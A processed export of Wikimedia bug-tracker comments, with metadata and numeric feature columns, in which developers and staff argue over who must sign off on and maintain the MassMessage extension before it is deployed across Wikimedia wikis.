As for the proof of this ""doctrine,"" just like MediaWiki core has always been the responsibility of Platform, the Extensions space has traditionally been the responsibility of Features Engineering. Historically, new extension deploy and a commitment to deploy was done by Brion and later by Roan. This used to be enforced in terms of SVN access, and the artifact still exists in the form of who has +2 on Gerrit. In the case of deploying a new extension, it requires +2 on gerrit, shell access, and an implied commitment to maintain.

I've been trying to relax this as I feel this is unscalable solution, but with that right comes the responsibility. If you or other community developers are unwilling to hold yourselves to the same responsibility that every engineer of the Foundation is held to, you are free to do so. But nobody has the right to have +2, nobody has the right to shell access, etc. Just as Platform and Ops reserve the right as policy to rescind my +2 access and my non-existent shell access, they could rescind anyone else's, even yours if it existed.
  

(In reply to comment #38)

> > The requirement for extensions to be deployed has ALWAYS been that Features
> > Engineering sign off on a commitment to maintain the extension.
> 
> This isn't consistent with the documentation at [[mw:Writing an extension for
> deployment]], [[mw:Review queue]] and Greg's checklist in comment 7.

Interesting links.

To the first document which has its origins in the SVN days, the first stop with Howie Fung and his product management team. To my knowledge the only person asked was a Dan Garry, and not as a first stop on anything. I mentioned in my original post why that people should know better. The second stop was wikitech-l. To my knowledge mine was the first post on the subject.

The second document is newly written by Platform not vetted by anyone in Features. I assume that if Platform wants to operate that way then they're committed to maintaining an extension approved that that process, that's cool with me and entirely consistent to my statements. In it's original incarnation it was Sumana's way of managing code review of existing extensions.

The third link refers to someone who has been at the WMF even less time than me. If we're to use MZMcBrides seniority rules, the fact that some newly-minted, improperly vetted document was used by a relatively new engineer doesn't carry weight.

I hope that documentation is updated.",,,1380853822,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.3333333333333333,0.8333333333333334,0.16666666666666666,1.0,1.0,5.166666666666667,1.5,0.0,0.0,0.6666666666666666,2.3333333333333335,1.3333333333333333,0.0,0.16666666666666666,0.0,2.6666666666666665,0.16666666666666666,4.666666666666667,13.166666666666666,1.3333333333333333,2.6666666666666665,0.16666666666666666,0.0,0.0,2.1666666666666665,0.16666666666666666,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,5.833333333333333,1.1666666666666667,1.0,1.1666666666666667,1.0,0.0,0.0,0.3333333333333333,0.5,0.0,0.8333333333333334,0.16666666666666666,3.6666666666666665,0.5,0.5,0.3333333333333333,0.0,0.3333333333333333,12.166666666666666,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.5,0.0,0.6666666666666666,0.5,0.0,0.3333333333333333,1.1666666666666667,0.0,0.16666666666666666,0.3333333333333333,0.16666666666666666,0.0,5.833333333333333,3.6666666666666665,9.666666666666666,2.0,2.1666666666666665,7.833333333333333,0.0,0.0,0.0,0.16666666666666666,3.3333333333333335,0.0,0.16666666666666666,0.0,5.666666666666667,13.166666666666666,4.5,0.16666666666666666,0.6666666666666666,0.0,5.5,0.0,1.0,1.1666666666666667,0.3333333333333333,1.5,0.3333333333333333,0.0,0.3333333333333333,4.047762103796587,0.702324973876698,"**tchay** wrote:

You're going to resort to ad hominem instead of attacking the argument when you're already getting what you want?

I am not trying to ""dictate"" anything to volunteers. Volunteers didn't deploy the code onto test and test2, it was Reedy. Volunteers are free to develop. They're not free to have their developed code deployed on the cluster. Nobody is.

As for the proof of this ""doctrine,"" just like MediaWiki core has always been the responsibility of Platform, the Extensions space has traditionally been the responsibility of Features Engineering. Historically, new extension deploy and a commitment to deploy was done by Brion and later by Roan. This used to be enforced in terms of SVN access, and the artifact still exists in the form of who has +2 on Gerrit. In the case of deploying a new extension, it requires +2 on gerrit, shell access, and an implied commitment to maintain.

I've been trying to relax this as I feel this is unscalable solution, but with that right comes the responsibility. If you or other community developers are unwilling to hold yourselves to the same responsibility that every engineer of the Foundation is held to, you are free to do so. But nobody has the right to have +2, nobody has the right to shell access, etc. Just as Platform and Ops reserve the right as policy to rescind my +2 access and my non-existent shell access, they could rescind anyone else's, even yours if it existed.
  

(In reply to comment #38)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Interesting links.

To the first document which has its origins in the SVN days, the first stop with Howie Fung and his product management team. To my knowledge the only person asked was a Dan Garry, and not as a first stop on anything. I mentioned in my original post why that people should know better. The second stop was wikitech-l. To my knowledge mine was the first post on the subject.

The second document is newly written by Platform not vetted by anyone in Features. I assume that if Platform wants to operate that way then they're committed to maintaining an extension approved that that process, that's cool with me and entirely consistent to my statements. In it's original incarnation it was Sumana's way of managing code review of existing extensions.

The third link refers to someone who has been at the WMF even less time than me. If we're to use MZMcBrides seniority rules, the fact that some newly-minted, improperly vetted document was used by a relatively new engineer doesn't carry weight.

I hope that documentation is updated."
251434,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #37)
> Is the current thinking to give users on any wiki the right to use
> Special:MassMessage to spam users on any other wiki?

Yes. The design idea here was that this is already possibly by any user. Anyone can open up a bunch of browser tabs and post to dozens of wikis quickly without even logging in. Or, for example, I've been posting to hundreds of wikis for years without a privileged account using only a very simple Python script. The difference here in functionality isn't very big. The primary difference is that we're adding a proper user interface for delivery submissions and reducing the need for an external dependency (a bot).

> It seems to me you'd want something like:
> 
> * Users on Meta can trigger cross-wiki notifications;
> * Users on any other wiki can only trigger local notifications.

This was considered and it's probably easy enough to implement these restrictions, but as I said above, I'm not sure they're necessary. My view was to take a ""wait and see"" approach. If local administrators begin to abuse or misuse the tool, we can always add in restrictions later.

> Otherwise you end up with an audit trail mess. Having a single log in one
> place and a single place to set policy around these things seems highly
> desirable.

Again, anyone can go around posting messages to any wiki right now without even logging in. Giving local administrators the ability to send cross-wiki messages with a simpler tool doesn't seem to warrant much concern from my perspective, but if you consider this a requirement for wider deployment, Lego can add in the restrictions.

The bot currently provides an audit trail by (optionally?) appending an HTML comment containing the originating wiki, message sender's name, etc., I believe. Lego can confirm this.",,,1380853667,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,1.0,5.666666666666667,1.0,0.0,0.0,0.6666666666666666,2.3333333333333335,2.0,0.0,0.3333333333333333,0.0,2.6666666666666665,0.6666666666666666,8.0,12.0,0.6666666666666666,2.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,1.6666666666666667,0.0,0.6666666666666666,4.333333333333333,1.3333333333333333,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.3333333333333333,1.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,6.666666666666667,2.3333333333333335,10.0,1.3333333333333333,2.6666666666666665,9.0,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,0.3333333333333333,0.3333333333333333,0.0,3.6666666666666665,12.0,2.6666666666666665,0.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,0.0,0.0,3.6666666666666665,0.0,3.6666666666666665,0.6666666666666666,0.0,0.6666666666666666,4.051546391752577,0.7319587628865979,"(In reply to comment #37)
QUOTE
QUOTE

Yes. The design idea here was that this is already possibly by any user. Anyone can open up a bunch of browser tabs and post to dozens of wikis quickly without even logging in. Or, for example, I've been posting to hundreds of wikis for years without a privileged account using only a very simple Python script. The difference here in functionality isn't very big. The primary difference is that we're adding a proper user interface for delivery submissions and reducing the need for an external dependency (a bot).

QUOTE
QUOTE
QUOTE
QUOTE

This was considered and it's probably easy enough to implement these restrictions, but as I said above, I'm not sure they're necessary. My view was to take a ""wait and see"" approach. If local administrators begin to abuse or misuse the tool, we can always add in restrictions later.

QUOTE
QUOTE
QUOTE

Again, anyone can go around posting messages to any wiki right now without even logging in. Giving local administrators the ability to send cross-wiki messages with a simpler tool doesn't seem to warrant much concern from my perspective, but if you consider this a requirement for wider deployment, Lego can add in the restrictions.

The bot currently provides an audit trail by (optionally?) appending an HTML comment containing the originating wiki, message sender's name, etc., I believe. Lego can confirm this."
251431,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #35)
> Ori has stepped up and is willing to commit his time to help Legoktm in
> supporting MassMessage on an ongoing basis. According to the current standard
> of the above, there is no longer any block on bug 52723.

Thank you Ori!

> The requirement for extensions to be deployed has ALWAYS been that Features
> Engineering sign off on a commitment to maintain the extension.

This isn't consistent with the documentation at [[mw:Writing an extension for deployment]], [[mw:Review queue]] and Greg's checklist in comment 7.",,,1380853061,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,20.0,0.0,2.0,5.0,0.0,0.0,2.0,2.0,2.0,0.0,3.0,0.0,2.0,10.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,10.0,3.25,0.7,"(In reply to comment #35)
QUOTE
QUOTE
QUOTE

Thank you Ori!

QUOTE
QUOTE

This isn't consistent with the documentation at [[mw:Writing an extension for deployment]], [[mw:Review queue]] and Greg's checklist in comment 7."
251426,Review and deploy MassMessage extension to Wikimedia wikis,"Is the current thinking to give users on any wiki the right to use Special:MassMessage to spam users on any other wiki?

It seems to me you'd want something like:

* Users on Meta can trigger cross-wiki notifications;
* Users on any other wiki can only trigger local notifications.

Otherwise you end up with an audit trail mess. Having a single log in one place and a single place to set policy around these things seems highly desirable. If we're on the same page on that, I'm significantly less concerned about the long term impact of the extension.",,,1380852890,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1.5,0.5,1.0,0.0,0.0,8.5,0.5,0.0,0.0,1.0,1.5,2.0,0.0,0.5,0.0,2.0,0.0,4.0,13.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,4.5,0.5,0.5,0.0,1.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,0.5,7.0,1.0,1.0,9.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,13.0,1.5,0.5,0.0,0.0,4.0,0.0,0.0,2.5,0.5,1.0,1.0,0.0,0.0,3.9244593804792522,0.7529222676797195,"Is the current thinking to give users on any wiki the right to use Special:MassMessage to spam users on any other wiki?

It seems to me you'd want something like:

* Users on Meta can trigger cross-wiki notifications;
* Users on any other wiki can only trigger local notifications.

Otherwise you end up with an audit trail mess. Having a single log in one place and a single place to set policy around these things seems highly desirable. If we're on the same page on that, I'm significantly less concerned about the long term impact of the extension."
251420,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #35)
> The requirement for extensions to be deployed has ALWAYS been that Features
> Engineering sign off on a commitment to maintain the extension.

You've been at the Wikimedia Foundation for, what, two years? You really feel it's appropriate to lecture me and others about how things have ""always"" been? You seem to have absolutely no sense of how software deployments have operated for the majority of Wikimedia's existence.

You're attempting to dictate to volunteers as though they're your subordinates. This is wildly inappropriate.

Do you have a link to this doctrine regarding software deployments and sign-offs? As far as I can tell, you've just made it up here on this bug. But perhaps there's a guideline you've written on mediawiki.org, wikitech.wikimedia.org, or Meta-Wiki. Please share.",,,1380851998,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,0.5,0.0,2.5,3.0,0.0,0.0,0.5,1.0,0.5,6.5,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,7.5,1.0,1.0,1.5,5.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,2.5,1.5,10.5,1.5,2.5,5.0,0.0,0.0,0.0,0.5,4.5,0.5,1.0,0.0,8.0,11.0,3.5,1.5,1.0,0.0,8.0,0.0,1.5,1.5,0.5,1.0,0.0,0.0,0.5,4.0558409436834095,0.7519977168949772,"(In reply to comment #35)
QUOTE
QUOTE

You've been at the Wikimedia Foundation for, what, two years? You really feel it's appropriate to lecture me and others about how things have ""always"" been? You seem to have absolutely no sense of how software deployments have operated for the majority of Wikimedia's existence.

You're attempting to dictate to volunteers as though they're your subordinates. This is wildly inappropriate.

Do you have a link to this doctrine regarding software deployments and sign-offs? As far as I can tell, you've just made it up here on this bug. But perhaps there's a guideline you've written on mediawiki.org, wikitech.wikimedia.org, or Meta-Wiki. Please share."
251413,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:

Ori has stepped up and is willing to commit his time to help Legoktm in supporting MassMessage on an ongoing basis. According to the current standard of the above, there is no longer any block on bug 52723.

Time still has to be made to handle the rollout, but I'm assuming what is already in-process in Platform, and Ori can assist beyond that.

The requirement for extensions to be deployed has ALWAYS been that Features
Engineering sign off on a commitment to maintain the extension. I've relaxed it
to be: ""If another engineering department in collaboration with product is
willing to commit to it, Features will not block."" I'd like to someday relax
this further to: ""If any engineering department or community development in
collaboration with the other core competencies (features, product, design, and
community) are willing to commit to it, no one should block."" We are not there
yet, and trying to rail against that is winning a battle at the cost of the war
breaking down these silos and having shared ownership and responsibility in our
organization, in our community, and in our movement.

Please realize the current state of affairs is that new Extension deploy can be done under the following frameworks:

1) The traditional ""Features signs off on all extensions"" that has always been in place. For Features to sign off on this, like with our own engineering staff, we require collaboration and buy-in in affected areas like the product managers and designers who will lose productivity or might be retasked on this. We must be good stewards of each-others times, and I would not have permitted (and will not permit) my engineers to task Platform and Design engineers for MassMessage in the manner that has happened to date (water under the bridge at this point).
2) The above can and has been be bypassed on a directive from the VPE as was the case for BetaFeatures.
3) Like LanguageEngineering's use of TranslationNotifications instead of Echo, if another team consisting of engineering, product, and design is willing to commit to supporting on an ongoing basis, then extension deploy proceeds without the traditional rule of discussing Features. Note, in this example we have an assumption that the feature set of MassMessage is as-is so it currently doesn't involve Product or Design, nor does it require more engineering resources inside the WMF beyond Ori who is currently untasked.

We still eventually want to reach the point where the criteria is not the amalgam of rules above but a simpler one based on intent, expertise-sharing and consensus-building: ""If any engineering department or community developer in collaboration with the other core competencies (engineering, product, design, and community) are willing to commit to ongoing maintenance of a feature, then no one group should block it.""

We haven't reached there yet, and please realize that when me make exceptions as in this case, it compromises the larger picture of our need to break down these silos and create shared ownership and responsibility in the WMF, in our communities, and in the movement as a whole.",,,1380851471,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.7142857142857143,0.0,0.0,0.8571428571428571,1.0,3.2857142857142856,1.7142857142857142,0.0,0.0,0.5714285714285714,3.4285714285714284,0.7142857142857143,0.0,0.0,0.14285714285714285,2.5714285714285716,1.7142857142857142,4.714285714285714,14.571428571428571,0.0,2.2857142857142856,0.42857142857142855,0.0,0.0,0.2857142857142857,0.8571428571428571,0.0,0.5714285714285714,0.5714285714285714,0.7142857142857143,0.14285714285714285,4.571428571428571,0.5714285714285714,1.0,0.42857142857142855,0.0,0.0,0.0,0.2857142857142857,0.5714285714285714,0.14285714285714285,0.14285714285714285,0.14285714285714285,3.857142857142857,0.0,0.5714285714285714,0.14285714285714285,0.14285714285714285,0.14285714285714285,12.857142857142858,0.7142857142857143,1.1428571428571428,0.14285714285714285,0.14285714285714285,0.0,0.0,0.0,1.1428571428571428,1.4285714285714286,0.0,0.2857142857142857,1.0,0.14285714285714285,0.2857142857142857,0.14285714285714285,0.2857142857142857,0.0,5.285714285714286,3.5714285714285716,6.714285714285714,1.4285714285714286,4.0,8.0,0.0,0.0,0.0,0.0,5.142857142857143,0.2857142857142857,0.42857142857142855,0.0,3.857142857142857,14.571428571428571,3.0,0.0,1.1428571428571428,0.0,3.857142857142857,0.0,1.0,1.2857142857142858,0.14285714285714285,1.5714285714285714,0.5714285714285714,0.0,0.42857142857142855,4.213483146067416,0.7415730337078653,"**tchay** wrote:

Ori has stepped up and is willing to commit his time to help Legoktm in supporting MassMessage on an ongoing basis. According to the current standard of the above, there is no longer any block on bug 52723.

Time still has to be made to handle the rollout, but I'm assuming what is already in-process in Platform, and Ori can assist beyond that.

The requirement for extensions to be deployed has ALWAYS been that Features
Engineering sign off on a commitment to maintain the extension. I've relaxed it
to be: ""If another engineering department in collaboration with product is
willing to commit to it, Features will not block."" I'd like to someday relax
this further to: ""If any engineering department or community development in
collaboration with the other core competencies (features, product, design, and
community) are willing to commit to it, no one should block."" We are not there
yet, and trying to rail against that is winning a battle at the cost of the war
breaking down these silos and having shared ownership and responsibility in our
organization, in our community, and in our movement.

Please realize the current state of affairs is that new Extension deploy can be done under the following frameworks:

1) The traditional ""Features signs off on all extensions"" that has always been in place. For Features to sign off on this, like with our own engineering staff, we require collaboration and buy-in in affected areas like the product managers and designers who will lose productivity or might be retasked on this. We must be good stewards of each-others times, and I would not have permitted (and will not permit) my engineers to task Platform and Design engineers for MassMessage in the manner that has happened to date (water under the bridge at this point).
2) The above can and has been be bypassed on a directive from the VPE as was the case for BetaFeatures.
3) Like LanguageEngineering's use of TranslationNotifications instead of Echo, if another team consisting of engineering, product, and design is willing to commit to supporting on an ongoing basis, then extension deploy proceeds without the traditional rule of discussing Features. Note, in this example we have an assumption that the feature set of MassMessage is as-is so it currently doesn't involve Product or Design, nor does it require more engineering resources inside the WMF beyond Ori who is currently untasked.

We still eventually want to reach the point where the criteria is not the amalgam of rules above but a simpler one based on intent, expertise-sharing and consensus-building: ""If any engineering department or community developer in collaboration with the other core competencies (engineering, product, design, and community) are willing to commit to ongoing maintenance of a feature, then no one group should block it.""

We haven't reached there yet, and please realize that when me make exceptions as in this case, it compromises the larger picture of our need to break down these silos and create shared ownership and responsibility in the WMF, in our communities, and in the movement as a whole."
251407,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:

(In reply to comment #33)

> This comparison carries no value: 1) LQT can't be undeployed because we'd
> lose
> critical data (discussions) from the wiki, 2) AFT is being expanded right now
> with no exit strategy I'm aware of (probably under the understanding that
> nobody cares if all that data disappears from the wikis after undeployment).

It carries more value that bug 31235 does to implement bug 52723. MassMessage is an extension, as an extension it is under the same rules as all other extensions for deployment.

1) LQT can't be underplayed and we're stuck with it for an uncertainf eatures
2) ReaderFeedback, AFT, and AFTv5 are all different extensions.

> I highly doubt I do. My sentence started with an ""If"" for a reason: I've no
> idea who's responsible for Echo.

Then I apologize, it's easy to read your statement and not have the hidden assumption that someone is responsible for Echo. Nobody is, it, like everything else, is a shared responsibility.

> Let me note that I asked how you planned to coordinate with other pieces of
> code/devs working in this area already 9 months ago: [[m:IRC office
> hours/2013-01-08]].

Hmm, I didn't read what you said as being related to this, most of what was in that discussion was posted on the grandparent bug and little movement has been done since then.

As to your logs: currently there is only one Dev working on Echo: bsitu. RoanKattouw and matthiasmullie never got the chance to work on this project, lwelling is no longer with us, Krenair is a community dev who I assume is wrapped up in other issues with core, kaldari is now in Mobile, fabriceflorin is in Multimedia and Werdna is on Flow. I don't know the state of [[mw:Extension:TranslationNotifications]] but I believe it's under active development/maintenance by Language Engineering. Their contributions are in this log, on mediawiki, in the code base, and in fabriceflorin's notes. When work on Echo is restarted, bsitu will be involved in it.


> I gather that you feel insulted and circumvented or something like that and
> I'm
> sorry for this personal pain you're suffering, but all this talk about
> exploiting doesn't look helpful.

I'm not insulted. I pushed back one time in a close-door meeting (I prevented deployment on mediawiki.org with the understanding from all the participants of the meeting that MassMessage would not be deployed on the cluster). Since people aren't aware of it, I am trying to explain the decision and the reasoning behind it.

I apologize for this language of ""exploiting."" Here was the topline of my original discussion which is relevant (but deleted from the bug comment):

> When I use to loaded words like ""back-dooring"" etc, I believe that no malice was intended and the discussions so far have been in good faith from all parties. I think people have a valid concern and want it addressed and are wondering honestly how decisions have been made. In particular, my decision to not allow the MassMessage Extension to roll out onto MediaWiki last week, since that occurred during a meeting that didn't even involve or derive have consultation (except ex-post-facto) with any product manager or engineer here.

It is very likely that adding the previous deploy and this one to the deploy calendar on Thursday would have someone like me either missing it or taking it at face value (that someone outside my own team added it and has adopted responsibility).

Last week, I didn't have time to figure out the parameters of where the decision to deploy MassMessage came from, so I only pushed back on mediawiki.org. The understanding from me and all the participants of the Friday meeting was that MassMessage would not be deployed beyond that.

The fact is at that moment this spent all of one day on the deploy calendar added by someone outside the WMF, one and a half weeks in public development on obscure parts of the wiki and bugzilla, had no discussion with product, no plan for support, etc.

No new feature would have been deployed to even test or test2 without discussions from Features, Design and Product. I didn't realize that any of this had occurred.

This is not a standard anymore for deployment of an extension, nor has it been for quite a while.

> This is not a reply to my line you quoted.

Hmm, I feel it is but I guess this depends on the definition of what is is? :-)

If it is unreasonable to require sign off for Features Engineering for Extension deploy than it is an unreasonable thing that has been in place long before me. I'm trying to relax that requirement, one area of relaxing is to find another home for deployment and support.

Last year, there was a broken core change about timestamping slipped through Platform review and got deployed. Because of that, a better thought-out and previously-developed pending core change for the exact same feature from Werdna got bumped. To get this fixed,the Echo team had to make a new core patch that superseded the earlier, broken patch, satisfied Language Engineering's wishlist, and handled what Echo needed which took weeks of effort and time that wasn't necessary had the timestamp patch not been put into core in the first place.

It was unreasonable, but it was life.

We can operate on the old rules of ""Features Engineering needs to sign on support for Extension wide cluster deploy"" or we cannot.

Under the former, Features's answer is not no. Our answer is We need to hear something more urgent and important or my answer is not yet from Features. Everything WMF Features Engineering does is in collaboration with other areas: product, design, design, and community, and I refuse to allow me or my teams to operate differently.

Under the latter, support for this needs to find another home just like TranslationNotifications or BetaFeatures did.

Someday, I hope we can do better. Things like BetaFeatures and Workflows part of Flow may make that possible.",,,1380845232,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.6,0.7,0.1,1.1,1.6,4.4,2.6,0.1,0.0,0.1,1.8,1.0,0.0,0.2,0.2,3.3,0.4,4.4,13.3,0.8,1.8,0.0,0.3,0.0,3.2,0.6,0.0,0.3,0.4,0.5,0.1,5.6,1.5,1.9,1.0,0.3,0.0,0.0,0.3,0.4,0.3,0.1,0.3,3.2,0.0,0.4,0.1,0.3,0.1,12.1,0.8,1.3,0.0,0.4,0.0,0.1,0.1,0.6,0.7,0.0,0.6,0.8,0.1,0.5,0.3,0.4,0.0,4.8,4.9,11.5,1.1,3.6,7.8,0.0,0.1,0.0,0.1,3.3,0.1,0.9,0.0,5.6,13.3,5.8,0.1,0.4,0.0,5.6,0.0,1.4,1.4,0.5,1.0,0.6,0.1,0.8,4.059375,0.7114583333333334,"**tchay** wrote:

(In reply to comment #33)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It carries more value that bug 31235 does to implement bug 52723. MassMessage is an extension, as an extension it is under the same rules as all other extensions for deployment.

1) LQT can't be underplayed and we're stuck with it for an uncertainf eatures
2) ReaderFeedback, AFT, and AFTv5 are all different extensions.

QUOTE
QUOTE

Then I apologize, it's easy to read your statement and not have the hidden assumption that someone is responsible for Echo. Nobody is, it, like everything else, is a shared responsibility.

QUOTE
QUOTE
QUOTE

Hmm, I didn't read what you said as being related to this, most of what was in that discussion was posted on the grandparent bug and little movement has been done since then.

As to your logs: currently there is only one Dev working on Echo: bsitu. RoanKattouw and matthiasmullie never got the chance to work on this project, lwelling is no longer with us, Krenair is a community dev who I assume is wrapped up in other issues with core, kaldari is now in Mobile, fabriceflorin is in Multimedia and Werdna is on Flow. I don't know the state of [[mw:Extension:TranslationNotifications]] but I believe it's under active development/maintenance by Language Engineering. Their contributions are in this log, on mediawiki, in the code base, and in fabriceflorin's notes. When work on Echo is restarted, bsitu will be involved in it.


QUOTE
QUOTE
QUOTE
QUOTE

I'm not insulted. I pushed back one time in a close-door meeting (I prevented deployment on mediawiki.org with the understanding from all the participants of the meeting that MassMessage would not be deployed on the cluster). Since people aren't aware of it, I am trying to explain the decision and the reasoning behind it.

I apologize for this language of ""exploiting."" Here was the topline of my original discussion which is relevant (but deleted from the bug comment):

QUOTE

It is very likely that adding the previous deploy and this one to the deploy calendar on Thursday would have someone like me either missing it or taking it at face value (that someone outside my own team added it and has adopted responsibility).

Last week, I didn't have time to figure out the parameters of where the decision to deploy MassMessage came from, so I only pushed back on mediawiki.org. The understanding from me and all the participants of the Friday meeting was that MassMessage would not be deployed beyond that.

The fact is at that moment this spent all of one day on the deploy calendar added by someone outside the WMF, one and a half weeks in public development on obscure parts of the wiki and bugzilla, had no discussion with product, no plan for support, etc.

No new feature would have been deployed to even test or test2 without discussions from Features, Design and Product. I didn't realize that any of this had occurred.

This is not a standard anymore for deployment of an extension, nor has it been for quite a while.

QUOTE

Hmm, I feel it is but I guess this depends on the definition of what is is? :-)

If it is unreasonable to require sign off for Features Engineering for Extension deploy than it is an unreasonable thing that has been in place long before me. I'm trying to relax that requirement, one area of relaxing is to find another home for deployment and support.

Last year, there was a broken core change about timestamping slipped through Platform review and got deployed. Because of that, a better thought-out and previously-developed pending core change for the exact same feature from Werdna got bumped. To get this fixed,the Echo team had to make a new core patch that superseded the earlier, broken patch, satisfied Language Engineering's wishlist, and handled what Echo needed which took weeks of effort and time that wasn't necessary had the timestamp patch not been put into core in the first place.

It was unreasonable, but it was life.

We can operate on the old rules of ""Features Engineering needs to sign on support for Extension wide cluster deploy"" or we cannot.

Under the former, Features's answer is not no. Our answer is We need to hear something more urgent and important or my answer is not yet from Features. Everything WMF Features Engineering does is in collaboration with other areas: product, design, design, and community, and I refuse to allow me or my teams to operate differently.

Under the latter, support for this needs to find another home just like TranslationNotifications or BetaFeatures did.

Someday, I hope we can do better. Things like BetaFeatures and Workflows part of Flow may make that possible."
251400,Review and deploy MassMessage extension to Wikimedia wikis,"I don't want to monopolise the discussion so I'll briefly reply to some ""personal points"".

(In reply to comment #32)
> > This appears to be a false problem. If Echo or something else in a future
> > provides equivalent or better features, the extension will fall into disuse
> > and/or it can be undeployed.
> 
> That argument may have held water back when extensions like ReaderFeedback or
> LiquidThreads were written and deployed. 

This comparison carries no value: 1) LQT can't be undeployed because we'd lose critical data (discussions) from the wiki, 2) AFT is being expanded right now with no exit strategy I'm aware of (probably under the understanding that nobody cares if all that data disappears from the wikis after undeployment).

> [...]
> 
> > I don't get these points. If you're responsible for Echo, it's your
> > responsibility to decide what Echo is going to incorporate, it's not the
> > others' responsibility to guess it and be blocked for years while you figure
> > it
> > out.
> 
> I'm responsible for ENGINEERING RESOURCING on Echo. [...]
> 
> You have a misguided view of what I do or what works in general in our
> movement
> or at the WMF.

I highly doubt I do. My sentence started with an ""If"" for a reason: I've no idea who's responsible for Echo.

Let me note that I asked how you planned to coordinate with other pieces of code/devs working in this area already 9 months ago: [[m:IRC office hours/2013-01-08]].

> [...] I'm asking that while I agree (and I think most would) that it'd be nice to
> have movement on the parent bug, people stop trying to exploit known holes in
> our development processes to try to get a particular implementation that is
> not
> derived from consensus and has bypassed every standard erected to safeguard
> sustainable development at the WMF: either work within the system or don't
> but
> don't try to get something deployed and say it's Features' problem because
> it's
> an extension. This sort of behavior breaks down trust in our people and
> processes many of whom and which are new, fragile,and need to be nurtured,
> not
> exploited.

I gather that you feel insulted and circumvented or something like that and I'm sorry for this personal pain you're suffering, but all this talk about exploiting doesn't look helpful.

> [...]
> > > The above can occur independently or in parallel to the above. If Product
> > > thinks it cool to commit Platform's constrained engineering resources to
> > > [...] use it to take
> > > advantage of Echo when the features roll out in some undefined future,
> > 
> > this looks like an unreasonable requirement
> 
> The requirement for extensions to be deployed has ALWAYS been that Features
> Engineering sign off on a commitment to maintain the extension. [...]

